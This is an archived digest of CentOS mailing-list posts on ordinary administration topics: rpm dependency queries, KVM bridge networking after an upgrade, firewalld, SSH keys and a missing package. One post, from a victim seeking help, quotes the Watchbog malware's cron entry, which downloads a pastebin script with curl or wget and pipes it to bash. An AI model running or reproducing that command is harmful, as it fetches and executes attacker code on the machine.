Re: [CentOS] determining what depends on a rpm

2018-12-15 Thread Jon LaBadie
On Sat, Dec 15, 2018 at 03:05:45PM -0600, Frank Cox wrote:
> yum remove lightdm
> 
> That command tells me that it's also going to remove lightdm-gobject and 
> lightdm-gtk.
> 
> rpm -q --whatrequires lightdm
> no package requires lightdm
> 
Perhaps you want the "--requires" instead of "--whatrequires" option.
"rpm -q --requires lightdm" gives me 41 lines of output.

You might also try "yum deplist lightdm".

Jon
-- 
Jon H. LaBadie j...@jgcomp.com
 11226 South Shore Rd.  (703) 787-0688 (H)
 Reston, VA  20190  (703) 935-6720 (C)
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] determining what depends on a rpm

2018-12-15 Thread Gordon Messmer

On 12/15/18 1:05 PM, Frank Cox wrote:

Ultimately it would be very useful to have some kind of a tool that would 
generate a report from the rpms installed on a system and tell you exactly what 
depends on what else.  Among other things you could use that report to remove 
stuff that's not needed in any installation.



While not a simple answer, this bash function will provide what you're 
looking for:


whatrequires () { (rpm -q --qf '%{NAME}\n' "$1" ; rpm -q --provides "$1" 
) | tr \\n \\0 | xargs -0 rpm -q --whatrequires ; }



___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] determining what depends on a rpm

2018-12-15 Thread Phil Perry

On 15/12/2018 21:05, Frank Cox wrote:

yum remove lightdm

That command tells me that it's also going to remove lightdm-gobject and 
lightdm-gtk.

rpm -q --whatrequires lightdm
no package requires lightdm

So obviously we can't take the word of the --whatrequires option from the rpm 
command since yum remove tells me that there are two.

That being the case, using yum remove to determine the actual dependency chain 
is not all that helpful since (a) only the root user can do that, which seems 
unnecessary when all you want to get is a report about the installed packages 
that the rpm command can already read as a user, and (b) you're taking a chance 
of fat-fingering something and destroying your system by accident.

Ultimately it would be very useful to have some kind of a tool that would 
generate a report from the rpms installed on a system and tell you exactly what 
depends on what else.  Among other things you could use that report to remove 
stuff that's not needed in any installation.



Take a look at what the package provides:

rpm -q --provides lightdm
config(lightdm) = 1.25.0-1.el7
lightdm = 1.25.0-1.el7
lightdm(x86-64) = 1.25.0-1.el7
service(graphical-login) = lightdm

and then look at what requires those 'provides':

rpm -q --whatrequires 'lightdm(x86-64)'
lightdm-qt-1.25.0-1.el7.x86_64
lightdm-gobject-1.25.0-1.el7.x86_64

It should be simple enough to script that, and that should get you started.

Hope that helps.

___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


[CentOS] determining what depends on a rpm

2018-12-15 Thread Frank Cox
yum remove lightdm

That command tells me that it's also going to remove lightdm-gobject and 
lightdm-gtk.

rpm -q --whatrequires lightdm
no package requires lightdm

So obviously we can't take the word of the --whatrequires option from the rpm 
command since yum remove tells me that there are two.

That being the case, using yum remove to determine the actual dependency chain 
is not all that helpful since (a) only the root user can do that, which seems 
unnecessary when all you want to get is a report about the installed packages 
that the rpm command can already read as a user, and (b) you're taking a chance 
of fat-fingering something and destroying your system by accident.

Ultimately it would be very useful to have some kind of a tool that would 
generate a report from the rpms installed on a system and tell you exactly what 
depends on what else.  Among other things you could use that report to remove 
stuff that's not needed in any installation.

-- 
MELVILLE THEATRE ~ Real D 3D Digital Cinema ~ www.melvilletheatre.com
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


[CentOS-es] Revista Atix 28

2018-12-15 Thread Esteban Saavedra L.
Estimad@s, comunicarles que la Revista Atix, ha liberado su nuevo
numero, que puede ser descargado desde su sitio web.
http://revista.atixlibre.org

salu2
-- 
-- 
Esteban Saavedra López
CEO AtixLibre - Bolivia
esteban.saave...@atixlibre.org
estebansaave...@yahoo.com
estebansaave...@gmail.com
jesaave...@opentelematics.org
Bolivia
_
Te Invito a Visitarme y conocer mis Áreas de
Investigación
http://esteban.opentelematics.org
http://revista.atixlibre.org
http://www.atixlibre.org
GPG Key ID: 0x0E96FE54
65A1 CEA6 712D 355B F9DD 5B62 DE1B 7381 0E96 FE54
_
___
CentOS-es mailing list
CentOS-es@centos.org
https://lists.centos.org/mailman/listinfo/centos-es


[CentOS] CentOS 7.5 Linux box got infected with Watchbog malware

2018-12-15 Thread Kaushal Shriyan
Hi,

Is there a way to find out how the CentOS 7.5 Linux box got infected with
malware?
Currently i am referring to
http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malwareransomware.html
to carry out the below steps and is done manually.

1)rm -fr /tmp/*timesyncc.service*
2)crontab -e -u apigee
delete the cron entry
*/1 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O-
https://pastebin.com/raw/aGTSGJJp)|bash > /dev/null 2>&1
3)ps aux | grep watchbog
kill -9 pidof watchbog

Any suggestions or recommendations to find out how CentOS 7.5 Linux box got
infected with Watchbog Malware. Is there any open source software which can
be installed on CentOS 7.5 Linux box to detect and prevent Malware?

Thanks in Advance.

Best Regards,

Kaushal
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] KVM Client NetworkManager Problem

2018-12-15 Thread Gregory P. Ennis
Hello,

On my systems I have after update to last centos 1810 a big Problem with the 
network??

Om my system I have three NIC two are connected from hardware (hostdev) the 
last is connected from the bridge on the host. (NetworkManager was disabled)

Now after the update the client can't start the NIC's correctly :-(
My Problem is the bridged NIC ethX

I must Install and activate the NetworkManager or I have a LSB Error
[ INFO ] Network Manager is not active.
[DEPEND] Dependency failed for Network Manager Wait Online.
 Starting LSB: Bring up/down networking...
[FAILED] Failed to start LSB: Bring up/down networking.

But now NetworkManager create sometimes a new config for a new ethX this is 
configured from dhcp, but I must have a static address to connect other server 
(ldap...) 

Also the resolv.conf is overwritten and have wrong nameserver (ipv6)  and 
duplicate search entries ...

Now it is the Problem after a reboot the network is not running correct with 
or without NetworkManager?

Thanks for a answer or help, 

--

Gunter,

I have two units that are different users with desktop KVM hypervisors Centos 7 
hosts.  One
had only one network card and it went through the migration from 7.5 to 7.6 
without a
problem.  The other had three network cards and it became disabled with failed 
network
connections. I had to rebuild the network and did so in the following manner.

#1. NetworkManager had been turned off.  I turned NetworkManger from off to on 
so that it
would create appropriate ifcfg-* files for three network cards after a reboot.

#2.  I modified the appropriate ifcf-* files and created a new network bridge 
with one of
the cards.  After the update to 7.6 I was able to leave NetworkManager running 
as long as I
had the appropriate ifcf-* file and the bridge set with “NM_CONTROLLED=no”.  
With Centos
7.5 I had to disable NetworkManager because it kept destroying the bridge even 
with the
switch “NM_CONTROLLED=no”. 

#3.  Lastly I had to change the references to the new bridge in the KVM guests.

After this everything has worked like it did before the upgrade.  My take on 
this is that
kvm hypervisors that are set up with more than one nic card have the potential 
of having
their network setup corrupted when the migration from 7.5 to 7.6 occurs.  On a 
positive
note NetworkManager now works with a network bridge with 7.6, but it did not 
work for me
with 7.5.

Good Luck!!!

Greg



___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Firewalld and iptables

2018-12-15 Thread Kenneth Porter
--On Friday, December 14, 2018 11:48 PM -0500 Jon LaBadie  
wrote:



I don't play with iptables, so I assume it is a legacy
continued from CentOS 6.x.  I'll gladly remove the
iptables service package.


firewalld is a user-space layer on top of the kernel's iptables machinery. 
It provides for dynamic changes to the underlying iptables firewall. The 
old firewall configuration (iptables.service, previously implemented as an 
initscript in older CentOS versions) assumed a static firewall that was 
loaded once at boot time. Changes required flushing the entire set of rules 
and starting again, but that would disrupt running network applications. 
Firewalld is a higher level description that is able to and and remove 
rules on a running machine without disrupting applications. It still uses 
the iptables machinery under the hood. It's good for dynamic systems like 
mobile devices where interfaces come and go and the device changes networks 
frequently. 
___

CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Firewalld and iptables

2018-12-15 Thread Kenneth Porter
--On Friday, December 14, 2018 11:48 PM -0500 Jon LaBadie  
wrote:



   https://pastebin.com/njaqR87f


The rule names all look like standard builtins. Are the iptables modules 
loading into the kernel? Run lsmod and post that to pastebin. (I don't know 
what loads the firewall modules in CentOS 7.)

___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] SFTP - Private/Public Authentication Keysets Beyond The First Set

2018-12-15 Thread Gregory P. Ennis
On 12/12/18 4:40 PM, Gary Braatz wrote:
> Inclusion of the -i flag and the location of the private key solved the
> problem.
> 
> Thanks Steve!
> 
> 

You really don't need multiple ppk pairs for different hosts. One for
all is what I do. As long as you keep the private key private you only
need distribute the one public key every where you need secure
identification.

Mike

--
Gary,

Mike is correct.  You are actually making it much harder setting up different 
keys.  All
you need to do is what Mike has written above.  I have several connections that 
I maintain
in this fashion.

Good Luck!!

Greg

___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


[CentOS] [Fwd: Centos 7.6 and Aeskulap]

2018-12-15 Thread Gregory P. Ennis
Everyone,

Apparently, aeskulap is broken during the upgrade fro 7.5 to 7.6, and
is no longer available in the epel repos.

I had some difficulty having it function, and during the debug process
I decided to do a yum remove, but when I tried a yum install to
reinstall it, aeskulap was no longer present.  This problem may also affect
other modules.

I have placed a bug report :

https://bugzilla.redhat.com/show_bug.cgi?id=1659667

The depracation of tcp wrappers may be involved in this

https://fedoraproject.org/wiki/Changes/Deprecate_TCP_wrappers


-- 
Greg Ennis

___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos